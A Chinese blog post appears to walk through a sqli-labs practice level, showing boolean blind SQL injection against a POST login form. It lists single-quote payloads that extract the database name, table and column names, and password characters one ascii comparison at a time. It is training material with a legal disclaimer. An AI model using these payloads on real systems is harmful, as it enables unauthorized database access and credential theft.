sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路

文章目录


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


回顾上一关知识点

上一关我们是用报错盲注来完成的,因为页面没有回显内容。

二、靶场第十五关通关思路

  • 1、判断注入点
  • 2、猜数据库长度
  • 3、猜数据库名字
  • 4、猜表名长度
  • 5、猜表名名字
  • 6、猜列名长度
  • 7、猜列名名字
  • 8、猜数据长度
  • 9、猜数据名字

1、判断注入点

老规矩还是使用万能语句1 or 1=1 和 1 or 1=2发现页面正常。输入1'发现并没有报错,输入1"发现也没有报错。这次连闭合报错的信息都没有了,所以不能用报错注入了。这里可以用布尔盲注或时间盲注。这里我用布尔盲注

sql 复制代码
1 or 1=1 
sql 复制代码
1 or 1=2 

发现页面没有变化,说明不是数字型。

sql 复制代码
1' or 1=1#
sql 复制代码
1' or 1=2#

发现1=1页面successfully,1=2failed说明是单引号闭合。

2、猜数据库长度

注入语句为

sql 复制代码
1' or length(database())>7#

发现数据库长度大于7页面登录成功,大于8登录失败

3、猜数据库名字

注入语句为

sql 复制代码
1' or ascii(substr(database(),1,1))>114#

(如图所示)发现大于114正常,大于115页面false状态。所以数据库名第一个字符ascii码为115,通过ascii码查询发现是字符's'。我们要重复此操作八次,才能猜出数据库名,方法和上面一样,就是把substr(database(),2,1)一直递增到8,最后得到数据库名为security

4、猜表名长度

注入语句为

sql 复制代码
1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#

发现第一个数据库表名大于5页面正常,大于6页面false状态。(如图所示)

通过limit 0,1递增标注数字猜其他表名长度。

得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5

5、猜表名名字

sql 复制代码
1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116#

(如图所示)发现第四个表名第一个字符ascii码大于116正常,大于117页面false,得到第四个表名第一个字符ascii码为117,说明是字符'u'

通过substr(表名,1,1)递增标注数字到5,猜出此表名名字为users

注意:这里为什么我直接查第四个表名了,因为我是知道这个表名才是我们要查的表名,实战如果是手工注入就得一个个表名猜,用工具就不用这么麻烦。

6、猜列名长度

注入语句为

sql 复制代码
1' or (length((select column_name from information_schema.columns where table_schema=database() and table_name="users"limit 0,1)))>1#

(如图所示)猜出第一个列名长度大于1页面正常,大于2页面false,所以第一个列名长2。以此类推递增limit得到所有列名长度(略)。第二个列名长8,第三个列名长8。

7、猜列名名字

注入语句为

sql 复制代码
1' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116#

猜到第二个列名第一个字符大于116正常,大于117页面false。通过substr(列名,1,1) 和limit 0,1不断递增标识数字查出所有列名名字。这里只演示了一个列名。得到username,password列名。


8、猜数据长度

注入语句为

sql 复制代码
1' or length((select password from users limit 0,1))>3#

(如图所示)猜出第一个密码长度大于3正常,大于4页面false。以此类推查所有数据长度。方法和上面一样就不展示了

9、猜数据名字

注入语句为

sql 复制代码
1' or ascii(substr((select password from users limit 0,1),1,1))>67#

(如图所示)猜出密码第一个字符大于67正常,大于68页面false。以此类推,猜出所有数据名字。


总结

这是典型布尔盲注,之前在靶场第八关写过类似的,只不过这里是post类型罢了。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

相关推荐
nongcunqq24 分钟前
abap 操作 excel
java·数据库·excel
rain bye bye1 小时前
calibre LVS 跑不起来 就将setup 的LVS Option connect下的 connect all nets by name 打开。
服务器·数据库·lvs
旺仔Sec2 小时前
新疆维吾尔自治区第一届“丝路杯”网络安全大赛暨2026年新疆职业院校技能大赛网络安全赛项竞赛样题
安全·web安全
阿里云大数据AI技术2 小时前
云栖实录|MaxCompute全新升级:AI时代的原生数据仓库
大数据·数据库·云原生
不剪发的Tony老师3 小时前
Valentina Studio:一款跨平台的数据库管理工具
数据库·sql
weixin_307779133 小时前
在 Microsoft Azure 上部署 ClickHouse 数据仓库:托管服务与自行部署的全面指南
开发语言·数据库·数据仓库·云计算·azure
六元七角八分3 小时前
pom.xml
xml·数据库
虚行3 小时前
Mysql 数据同步中间件 对比
数据库·mysql·中间件
奥尔特星云大使3 小时前
mysql读写分离中间件Atlas安装部署及使用
数据库·mysql·中间件·读写分离·atlas
牛马baby4 小时前
【mysql】in 用到索引了吗?
数据库·mysql·in